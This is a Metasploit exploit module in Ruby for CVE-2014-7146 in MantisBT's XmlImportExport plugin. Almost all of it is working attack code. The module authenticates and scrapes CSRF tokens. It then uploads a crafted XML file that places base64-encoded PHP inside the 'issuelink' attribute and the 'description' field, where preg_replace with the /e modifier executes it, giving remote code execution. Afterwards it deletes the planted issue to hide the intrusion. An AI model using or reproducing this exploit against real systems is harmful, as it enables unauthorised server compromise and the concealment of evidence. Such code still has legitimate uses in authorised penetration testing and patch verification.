Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
      'Description'    => %q{
        This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
        The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
        This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Egidio Romano', # discovery http://karmainsecurity.com
          'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
        ],
      'References'     =>
        [
          ['CVE', '2014-7146']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => 'Nov 8 2014',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
        OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
      ], self.class)
  end

  def check
    res = exec_php('phpinfo(); die();', true)

    if res && res.body =~ /This program makes use of the Zend/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def do_login()
    print_status('Checking access to MantisBT...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'login_page.php'),
      'vars_get' => {
        'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
      }
    })

    fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200

    session_cookie = res.get_cookies

    print_status('Logging in...')
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'login.php'),
      'cookie'    => session_cookie,
      'vars_post' => {
        'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
        'username' => datastore['username'],
        'password' => datastore['password'],
        'secure_session' => 'on'
      }
    })


    fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302

    fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/

    "#{session_cookie} #{res.get_cookies}"
  end

  def upload_xml(payload_b64, rand_text, cookies, is_check)

    if is_check
      timeout = 20
    else
      timeout = 3
    end

    rand_num = Rex::Text.rand_text_numeric(1, 9)

    print_status('Checking XmlImportExport plugin...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'plugin.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'page' => 'XmlImportExport/import'
      }
    })

    unless res && res.code == 200
      print_error('Error trying to access XmlImportExport/import page...')
      return false
    end

    # Retrieving CSRF token
    if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to read CSRF token')
      return false
    end

    # Retrieving default project id
    if res.body =~ /name="project_id" value="([0-9]+)"/
      project_id = Regexp.last_match[1]
    else
      print_error('Error trying to read project id')
      return false
    end

    # Retrieving default category id
    if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
      category_id = Regexp.last_match[1]
      category_name = Regexp.last_match[2]
    else
      print_error('Error trying to read default category')
      return false
    end

    # Retrieving default max file size
    if res.body =~ /name="max_file_size" value="([0-9]+)"/
      max_file_size = Regexp.last_match[1]
    else
      print_error('Error trying to read default max file size')
      return false
    end

    # Retrieving default step
    if res.body =~ /name="step" value="([0-9]+)"/
      step = Regexp.last_match[1]
    else
      print_error('Error trying to read default step value')
      return false
    end

    xml_file =   %Q|
    <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
        <issue>
            <id>#{ rand_num }</id>
            <project id="#{ project_id }">#{ rand_text }</project>
            <reporter id="#{ rand_num }">#{ rand_text }</reporter>
            <priority id="30">normal</priority>
            <severity id="50">minor</severity>
            <reproducibility id="70">have not tried</reproducibility>
            <status id="#{ rand_num }">new</status>
            <resolution id="#{ rand_num }">open</resolution>
            <projection id="#{ rand_num }">none</projection>
            <category id="#{ category_id }">#{ category_name }</category>
            <date_submitted>1415492267</date_submitted>
            <last_updated>1415507582</last_updated>
            <eta id="#{ rand_num }">none</eta>
            <view_state id="#{ rand_num }">public</view_state>
            <summary>#{ rand_text }</summary>
            <due_date>1</due_date>
            <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
        </issue>
    </mantis>
    |

    data = Rex::MIME::Message.new
    data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
    data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
    data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
    data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
    data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
    data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
    data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
    data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
    data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
    data_post = data.to_s

    print_status('Sending payload...')
    return send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
      'cookie' => cookies,
      'ctype'   => "multipart/form-data; boundary=#{ data.bound }",
      'data'    => data_post
    }, timeout)
  end

  def exec_php(php_code, is_check = false)

    # remove comments, line breaks and spaces of php_code
    payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

    # clean b64 payload
    while Rex::Text.encode_base64(payload_clean) =~ /=/
      payload_clean = "#{ payload_clean } "
    end
    payload_b64 = Rex::Text.encode_base64(payload_clean)

    rand_text = Rex::Text.rand_text_alpha(5, 8)

    cookies = do_login()

    res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)

    # When a meterpreter session is active, communication with the application is lost.
    # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
    cookies = do_login()

    print_status("Deleting issue (#{ rand_text })...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'my_view_page.php'),
      'cookie' => cookies
    })

    unless res && res.code == 200
      print_error('Error trying to access My View page')
      return false
    end

    if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
      issue_id = Regexp.last_match[1]
     else
      print_error('Error trying to retrieve issue id')
      return false
    end

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to retrieve CSRF token')
      return false
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
      'cookie'   => cookies,
      'vars_post' => {
        'bug_actiongroup_DELETE_token' => csrf_token,
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
      print_status("Issue number (#{ issue_id }) removed")
    else
      print_error("Removing issue number (#{ issue_id }) has failed")
      return false
    end

    # if check return the response
    if is_check
      return res_payload
    else
      return true
    end
  end

  def exploit
    unless exec_php(payload.encoded)
      fail_with(Failure::Unknown, 'Exploit failed, aborting.')
    end
  end
end